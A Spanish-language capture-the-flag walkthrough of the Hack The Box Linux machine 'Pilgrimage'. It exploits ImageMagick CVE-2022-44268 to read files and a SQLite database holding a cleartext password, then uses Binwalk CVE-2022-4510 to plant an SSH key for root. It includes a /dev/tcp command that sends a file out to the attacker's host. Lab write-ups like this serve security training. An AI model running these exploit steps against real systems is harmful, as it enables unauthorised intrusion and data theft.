# Pilgrimage

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-b4c0088cc9bbadec7cc70cd12ff798caa7629948%2FPasted%20image%2020250514191148.png?alt=media)

**Publicado:** 15 de Mayo de 2025\
**Autor:** José Miguel Romero aKa **x3m1Sec**\
**Dificultad:** ⭐ Easy

### 📝 Descripción

Pilgrimage es una máquina Linux que aloja un servicio web para la subida y procesamiento de imágenes. La máquina explota dos vulnerabilidades principales: una en ImageMagick (CVE-2022-44268) que permite la exfiltración de archivos sensibles del sistema, y otra en Binwalk (CVE-2022-4510) que permite escalar privilegios a root. La ruta de ataque requiere conocimientos sobre explotación de aplicaciones de procesamiento de imágenes, análisis de código fuente y enumeración de sistemas Linux.

### 🔭 Reconocimiento

#### Ping para verificación en base a TTL

```bash
❯  ping -c2 10.10.11.219                                  
PING 10.10.11.219 (10.10.11.219) 56(84) bytes of data.
64 bytes from 10.10.11.219: icmp_seq=1 ttl=63 time=49.7 ms
64 bytes from 10.10.11.219: icmp_seq=2 ttl=63 time=48.5 ms

--- 10.10.11.219 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1015ms
rtt min/avg/max/mdev = 48.481/49.093/49.705/0.612 ms
```

> 💡 **Nota**: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

#### Escaneo de puertos

```bash
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.219 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
```

```bash
❯ echo $ports                                                               
22,80
```

#### Enumeración de servicios

```bash
❯ nmap -sC -sV -p$ports 10.10.11.219 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 19:13 CEST
Nmap scan report for 10.10.11.219
Host is up (0.050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.35 seconds

```

***

```
10.10.10.75 - pilgrimage.htb
```

> ⚠️ Debemos agregar este dominio a nuestro archivo hosts.

```bash
echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts
```

### 🌐 Enumeración Web

#### 80 HTTP

Enumerando el servicio web del puerto 80 descubrimos un servicio web que permite la subida de imágenes.

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-65c8febb7f04c0388fd775a51256d669b273033d%2FPasted%20image%2020250514191556.png?alt=media)

Creamos una cuenta:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-5e305352a0bfb73ca9e8300b718b40fcd68eedb1%2FPasted%20image%2020250514192114.png?alt=media)

Si intentamos subir un archivo con extensión php falla:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-5f4dc46a48822c3a10a11c1afa7ac3e841956622%2FPasted%20image%2020250514192455.png?alt=media)

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-c6dbff24a8f6bb75ea1de3f2a0da5780f4d7172a%2FPasted%20image%2020250514192512.png?alt=media)

Tras interceptar la petición con burp, usar el Intruder para intentar bypassear los filtros de extensiones y el Content-Type no encontramos un posiblevector de entrada.

**🕷️Fuzzing de directorios**

Al realizar fuzzing de directorios encontramos un recurso interesante llamdo /tmp:

```bash
feroxbuster -u http://pilgrimage.htb -r  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --scan-dir-listings -C 404 -x php
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-53b75f963614b08ff72e9253a43882fd9e945eb7%2FPasted%20image%2020250514194555.png?alt=media)

Aunque al intentar acceder nos devuelve un 403

Probamos de nuevo pero esta vez usando la lista common.txt de seclists y encontramos que existe un repositorio git:

```bash
feroxbuster -u http://pilgrimage.htb -r  -w /usr/share/seclists/Discovery/Web-Content/common.txt --scan-dir-listings -C 404 
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-7ce1565560fef6c0bc3813c82611748bc5d84742%2FPasted%20image%2020250514195557.png?alt=media)

Procedemos a descargarlo usando la herramienta git\_dumper:

```bash
pyenv activate my_scripts_env  
git_dumper http://pilgrimage.htb git-dump
```

Una vez descargado vemos los siguientes recursos:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-edb97dd103b8f0ede07f0fcbd55ba18345520b5a%2FPasted%20image%2020250514195939.png?alt=media)

En el directorio .git encontramos un usuario llamado emily en el fichero `COMMIT_EDITMSG`

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-b1a183d1aacae82e6dd1969160bc54fd1903db9d%2FPasted%20image%2020250514200704.png?alt=media)

Por otro lado, tabién vemos un binario llamado magick. Vale la pena enumera la versión ya que esta herramienta presentó vulnerabilidades en el pasado:

```bash
~/git-dump-pilgrimage   master ❯ ./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
```

### 💻 Explotación

**🔓 CVE-2022-44268**

Comprobamos que tal como suponíamos la versión de Magic es vulnerable a Arbitrary File Upload:\
<https://www.exploit-db.com/exploits/51261>

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-25dcb8efed5c0f28d9d4d26660c02415d3bbd90e%2FPasted%20image%2020250514200852.png?alt=media)

Usaremos el siguiente exploit en python:

<https://github.com/kljunowsky/CVE-2022-44268>

Descargamos la herramienta y sus dependencias

```bash
pyenv activate my_scripts_env  
git clone https://github.com/kljunowsky/CVE-2022-44268.git
pip install -r requirements.txt
pip install Pillow
```

Usamos la herramienta para crear la imagen "envenenada"

```bash
 python3 CVE-2022-44268.py --image /image.png --file-to-read /etc/hosts --output poisoned.png
```

A continuación la subimos al host.

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-0abba5a40fe60192600bdf8c0c11903c32ff1652%2FPasted%20image%2020250514202217.png?alt=media)

Ahora comprobamos si el exploit ha funcionado y al cargar la imagen podemos leer el contenido del fichero /etc/hosts que habíamos embebido:

```bash
python3 CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/6824df504bddf.png
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-c5c9e8feea6b170bef57f4db197e07d7e91a94d7%2FPasted%20image%2020250514202435.png?alt=media)

La prueba de concepto ha funcionado, por lo que podemos probar esto mismo con otros archivos que puedan resultar útiles.

Anteriormente cuando descargamos el código fuente del sitio web vimos que había un archivo interesante en login.php:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-bbd7b4ef6f8f0c29f950f73e54c15cb5c577c42f%2FPasted%20image%2020250514203311.png?alt=media)

Podemos intentar leer el archivo /var/db/pilgrimage

```bash
python CVE-2022-44268.py --image /image.png --file-to-read /var/db/pilgrimage --output pngout.png

python3 CVE-2022-44268.py --url http://pilgrimage.htb/shrunk/6824e2258a270.png            
```

Pero obtenemos el siguiente error:

```bash
decrypted_profile_type = bytes.fromhex(raw_profile_type_stipped).decode('utf-8')
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x91 in position 99: invalid start byte
```

Eso puede tener sentido, ya que se trata de datos binarios y el script parece esperar solo texto ASCII.

Descargamos el archivo de imagen manualmente de la web y a continuación mediante el uso de grep extraemos el contenido:

```bash
identify -verbose 655cdbb27cce4.png | grep -Pv "^( |Image)"  | xxd -r -p > pilgrimage.sqlite
```

Ahora que ya tenemos un archivo .sqlite descargado, usamos la herramienta para cargarlo y obtener la contraseña del usuario emily:

```bash
sqlite3 pilgrimage.sqlite

SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
images  users 
sqlite> .schema users
CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL);
sqlite> select * from users;
emily|abigchonkyboi123
sqlite> 
```

#### FootHold

Iniciamos sesión vía ssh como emily y cpaturamos la primera flag.

```bash
ssh emily@10.10.11.219
emily|abigchonkyboi123
```

#### 👑 Escalada de privilegios

Enumeramos la máquina para encontrar un vector que nos permita escalar privilegios.

Tras un buen rato enumerando (SUID, permisos, grupos, capabilities, directorios, etc) lo encontramos finalmente al enumerar los servicios:

```bash
ps -faux | grep root
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-0cebc1daf3126911f01f2d443c8630985543e5f4%2FPasted%20image%2020250514205356.png?alt=media)

Verificamos que únicamente tenemos permisos de lectura sobre este script:

```bash
emily@pilgrimage:/var/www/pilgrimage.htb$ ls -la /usr/sbin/malwarescan.sh
-rwxr--r-- 1 root root 474 Jun  1  2023 /usr/sbin/malwarescan.sh
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-f056165052518d490a20b4911c6f0ab11411eb14%2FPasted%20image%2020250514205524.png?alt=media)

Podemos enviarnos el contenido de este script a nuestro host de ataque para una mejor visualización con el siguiente comando:

En el host de ataque nos podemos a la escucha:

```bash
nc -nlvp 443 > malwarescan.sh
```

En el host remoto:

```bash
cat /usr/sbin/malwarescan.sh > /dev/tcp/10.10.14.14/443
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-ee9680c78d86fbfd0e0dcacf19955d0e46f0284b%2FPasted%20image%2020250515081936.png?alt=media)

El script usa inotifywait para monitorear el directorio /var/www/pilgrimage.htb/shrunk/ en busca de nuevos archivos.

Cuando se crea un archivo nuevo, el script usa tail y sed para extraer el nombre del archivo de la salida de inotifywait.

Luego, se usa binwalk para extraer cualquier dato binario y almacenarlo en la variable binout.\
Si se encuentra alguna de las cadenas en la lista negra, el archivo se elimina.\
Siempre que se usen herramientas no predeterminadas en scripts ejecutados por root como estos, conviene analizarlo con más detalle. Empezamos enumerando la versión de Binwalk:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-fdfd76952cc58158baa415248005991506464413%2FPasted%20image%2020250514205903.png?alt=media)

**🔓 CVE-2022-4510**

Esta versión es vulnerable. Existe un exploit para esta versión que permite la ejecución remota de comandos. En este caso voy a usar uno que realiza directory path traversal que permite copiar una clave ssh generada en el directorio /root/.ssh de la máquina comprometida:

<https://github.com/adhikara13/CVE-2022-4510-WalkingPath>

```bash
git clone https://github.com/adhikara13/CVE-2022-4510-WalkingPath.git
```

Generamos una clave pública y privada con SSH sin contraseña:

```bash
sudo ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa -N ""
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-6fecd986e0a43dbc9d792e565ea0949250440887%2FPasted%20image%2020250515083554.png?alt=media)

Ahora usamos el exploit indicando una imagen fake y la clave id\_rsa.pub que copiaremos en el directorio /root/.ssh de la máquina comprometida.

```bash
python3 walkingpath.py ssh  ../image.png id_rsa.pub
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-172928eb49911930c3cf232180c800d0b8d40c03%2FPasted%20image%2020250515083948.png?alt=media)

Observamos que tras la ejecución del comando, nos genera la imagen envenenada que deberemos copiar en el directorio /shrunk donde la herramienta binwalk comprueba el tipo si es un ejecutable de windows o linux.

Subimos la imagen a la máquina comprometida usando scp:

```bash
scp binwalk_exploit.png emily@10.10.11.219:/var/www/pilgrimage.htb/shrunk/
```

Una vez hemos copiado el archivo, presuponemos que el proceso que identifica que cada vez que haya un cambio se ejecute binwalk, ya habrá copiado la clave pública fake de ssh al directorio /root/.ssh y podremos conectarnos con root sin contraseña, así que verificamos:

```bash
 ssh root@10.10.11.219              
Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@pilgrimage:~# id
uid=0(root) gid=0(root) groups=0(root)
root@pilgrimage:~# 
```

Confirmamos la escalada de privilegios a root y ya podemos obtener la flag.
